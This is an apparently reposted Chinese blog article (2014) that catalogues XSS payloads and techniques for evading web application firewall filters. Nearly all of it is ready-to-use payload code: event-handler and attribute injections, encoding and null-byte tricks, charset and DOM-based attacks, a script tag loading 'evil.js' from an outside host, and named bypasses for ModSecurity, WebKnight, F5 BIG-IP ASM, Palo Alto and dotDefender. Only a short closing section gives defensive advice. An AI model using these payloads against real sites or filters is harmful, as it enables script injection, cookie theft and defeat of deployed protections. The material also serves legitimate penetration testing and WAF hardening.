XSS现代WAF规则探测及绕过技术

转载

hack8 于 2014-08-23 21:46:12 发布 953 收藏
分类专栏： 编程


编程 专栏收录该内容
100 篇文章 0 订阅
订阅专栏

初始测试

1、使用无害的payload，类似<b>,<i>,<u>观察响应，判断应用程序是否被HTML编码，是否标签被过滤，是否过滤<>等等；

2、如果过滤闭合标签，尝试无闭合标签的payload（<b,<i,<marquee）观察响应；

3、尝试以下的payload

```
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm      (1);</script>
<script src="http://rhainfosec.com/evil.js">
```

判断是否触发过滤规则，尝试使用大小写混合字符

```
<scRiPt>alert(1);</scrIPt>
```

1、如果大小写不行的话，<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>；

2、使用<a>标签测试

```
    <a  href=“http://www.google.com">Clickme</a>
```

<a被过滤？

href被过滤？

其他内容被过滤？

如果没有过滤尝试使用Clickme

尝试使用错误的事件查看过滤ClickHere

HTML5拥有150个事件处理函数，可以多尝试其他函数<body/onhashchange=alert(1)><a href=#>clickit

测试其他标签

src属性

```
<img src=x      onerror=prompt(1);>
<img/src=aaa.jpg      onerror=prompt(1);
<video src=x      onerror=prompt(1);>
<audio src=x      onerror=prompt(1);>
```

iframe

```
<iframesrc="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
```

Embed

```
<embed/src=//goo.gl/nlX0P>
```

Action

```
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
```

mario验证

```
<formaction=&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;><button>CLICK
```

“formaction” 属性

```
<isindexformaction="javascript:alert(1)"      type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript&colon;alert(1)>CLICKME
```

“background” 属性

```
<table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6
```

“posters” 属性

```
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
```

“data” 属性

```
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
```

“code” 属性

```
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>
```

事件处理

```
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
```

短payload

```
<q/oncut=open()>
<q/oncut=alert(1)> //      Useful in-case of payload restrictions.
```

嵌套欺骗

```
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body  language=vbsonload=alert-1 // Works with IE8
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\
```

圆括号被过滤

```
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw&#039;=alert\x281\x29&#039;;
```

Expression 属性

```
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(&#039;&#039;x:expression(alert(1))"></div>      // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7
```

“location” 属性

```
<a onmouseover=location=’javascript:alert(1)>click
<body onfocus="location=&#039;javascrpt:alert(1) >123
```

其他Payload

```
<meta http-equiv="refresh"      content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh"      content="0;javascript&colon;alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g      onload="javascript:\u0061lert(1);"></g></svg> //      B
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href"      values=";javascript:alert(1)" begin
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>      // By @secalert
<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
```

( ) ; ：被过滤

```
<svg><script>alert&#40/1/&#41</script>      // Works With All Browsers
( is html encoded to &#40
) is html encoded to &#41
```

Opera的变量

```
<svg><script>alert&#40      1&#41 // Works with Opera Only
```

实体解码

```
&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
<a  href="j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>
```

编码

JavaScript是很灵活的语言，可以使用十六进制、Unicode、HTML等进行编码，以下属性可以被编码（支持HTML, Octal, Decimal, Hexadecimal, and Unicode）

```
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
```

基于上下文的过滤

WAF最大的问题是不能理解内容，使用黑名单可以阻挡独立的js脚本，但仍不能对xss提供足够的保护，如果一个反射型的XSS是下面这种形式

输入反射属性

```
<input value="XSStest" type=text>
```

我们可以使用 “><imgsrc=x onerror=prompt(0);>触发，但是如果<>被过滤，我们仍然可以使用“ autofocusonfocus=alert(1)//触发，基本是使用“关闭value属性，再加入我们的执行脚本

```
" onmouseover="prompt(0) x="
" onfocusin=alert(1)     autofocus x="
" onfocusout=alert(1)     autofocus x="
" onblur=alert(1) autofocus     a="
```

输入反射在<script>标签内

类似这种情况：

```
<script>
Var
x=”Input”;
</script>
```

通常，我们使用 “></script>,闭合前面的</script>标签，然而在这种情况，我们也可以直接输入执行脚本alert(), prompt() confirm() ，例如：

”;alert(1)//

非常规事件监听

DOMfocusin,DOMfocusout,等事件，这些需要特定的事件监听适当的执行。例如：

```
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
```

此类事件的列表

```
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
```

超文本内容

代码中的情况如下

```
<a
href=”Userinput”>Click</a>
```

可以使用javascript:alert(1)//直接执行Click

变形

主要包含大小写和

JavaScript变形

```
javascript&#058;alert(1)
javaSCRIPT&colon;alert(1)
JaVaScRipT:alert(1)
javas&Tab;cript:\u0061lert(1);
javascript:\u0061lert&#x28;1&#x29
javascript&#x3A;alert&lpar;document&period;cookie&rpar;      // AsharJaved
```

IE10以下和URI中可以使用VBScript

```
vbscript:alert(1);
vbscript&#058;alert(1);
vbscr&Tab;ipt:alert(1)"
```

Data URl

```
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
```

JSON内容

反射输入

```
encodeURIComponent(&#039;userinput&#039;)
```

可以使用

```
-alert(1)-
-prompt(1)-
-confirm(1)-
```

结果

```
encodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)
encodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)
```

输入反射在svg标签内

源码如下：

```
<svg><script>varmyvar=”YourInput”;</script></svg>
```

可以输入

```
www.site.com/test.php?var=text”;alert(1)//
```

如果系统编码了”字符

```
<svg><script>varmyvar="text&amp;quot;;alert(1)//";</script></svg>
```

原因是引入了附加的（XML）到HTML内容里，可以使用2次编码处理

浏览器BUG

字符集BUG

字符集BUG在IE中很普遍，最早的bug是UTF-7。如果能控制字符集编码，我们可以绕过99% 的WAF过滤。

示例

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
```

可以控制编码，提交

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img
src=x onerror=prompt(0);>
```

可以修改为UTF-32编码形式

```
∀燼樓script燼alert(1)樓/script燼
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3
```

空字节

最长用来绕过mod_security防火墙，形式如下：

```
    <scri%00pt>alert(1);</scri%00pt>
    <scri\x00pt>alert(1);</scri%00pt>
    <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
```

空字节只适用于PHP 5.3.8以上的版本

语法BUG

RFC声明中节点名称不能是空格，以下的形式在javascript中不能运行

```
    <script>alert(1);</script>
    <%0ascript>alert(1);</script>
    <%0bscript>alert(1);</script>
```

<%, <//, <!,<?可以被解析成<，所以可以使用以下的payload

```
    <//     style=x:expression\28write(1)\29> // Works upto IE7
```

参考http://html5sec.org/#71

```
    <!--[if]><script>alert(1)</script     --> // Works upto IE9
```

参考http://html5sec.org/#115

```
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> // Works in IE7
```

参考 http://html5sec.org/#77

```
<%div%20style=xss:expression(prompt(1))> // Works Upto IE7
```

Unicode分隔符

[on\w+\s*]这个规则过滤了所有on事件，为了验证每个浏览器中有效的分隔符，可以使用fuzzing方法测试0×00到0xff，结果如下：

```
IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox= [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
x0b在Mod_security中已经被过滤，绕过的方法：
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x2
```

缺少X-frame选项

通常会认为X-frame是用来防护点击劫持的配置，其实也可以防护使用iframe引用的xss漏洞

Docmodes

IE引入了doc-mode很长时间，提供给老版本浏览器的后端兼容性，有风险，攻击情景是黑客可以引用你站点的框架，他可以引入doc-mode执行css表达式

expression(open(alert(1)))

以下POC可以插入到IE7中

```
<html>
<body>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<iframesrc="https://targetwebsite.com">
</body>
</html>
```

Window.name欺骗

情景：我们用iframe加载一个页面，我们可以控制窗口的名称，这里也可以执行javascript代码

POC

```
<iframesrc=&#039;http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//&#039;
name="javascript:alert("XSS")"></iframe>
```

DOM型XSS

服务器不支持过滤DOM型的XSS，因为DOM型XSS总是在客户端执行，看一个例子：

```
<script>
vari=location.hash;
document.write(i);
</script>
```

在一些情况下，反射型XSS可以转换成DOM型XSS：

```
http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al
```

上面的POC只在[.+都被允许的情况下适用，可以使用location.hash注入任何不允许的编码

```
Location.hash[1] = :  // Defined at the first position after     the hash.
Location.hash[2]= (  // Defined at the second position after     the has
Location.hash[3] = ) // Defined     at third position after the hash.
```

如果有客户端过滤可能不适用

绕过

ModSecurity绕过

```
<scri%00pt>confirm(0);</scri%00pt>
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x2
```

参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

WEB KNIGHT绕过

```
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
```

F5 BIG IP ASM and Palo ALTO绕过

```
<table background="javascript:alert(1)"></table> //IE6或者低版本Opera
“/><marquee  onfinish=confirm(123)>a</marquee>
```

Dot Defender绕过

```
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
```

结论

黑名单方式永远不是最好的解决办法，但是相对与白名单效率很高，对于WAF供应商来说，最好的实践如下：

1、开发者和管理员要注意WAF只能缓解攻击，并且针对已知的弱点的防护只是和源代码修复的方法打个时间差；

2、要保持WAF的规则库更新；

3、WAF可以配置参数限制，需要提供手册用于配置参数content-length最大最小长度，content-type类型，在入侵时进行告警；

4、如果WAF依据黑名单，要确保可以阻断已知的浏览器BUG，并且相应规则库要及时更新。

参考

https://zdresearch.com/zdresearch-xss1-challenge-writeup/

http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

http://html5sec.org

https://cure53.de/xfo-clickjacking.pdf

http://resources.infosecinstitute.com/demystifying-html-5-attacks/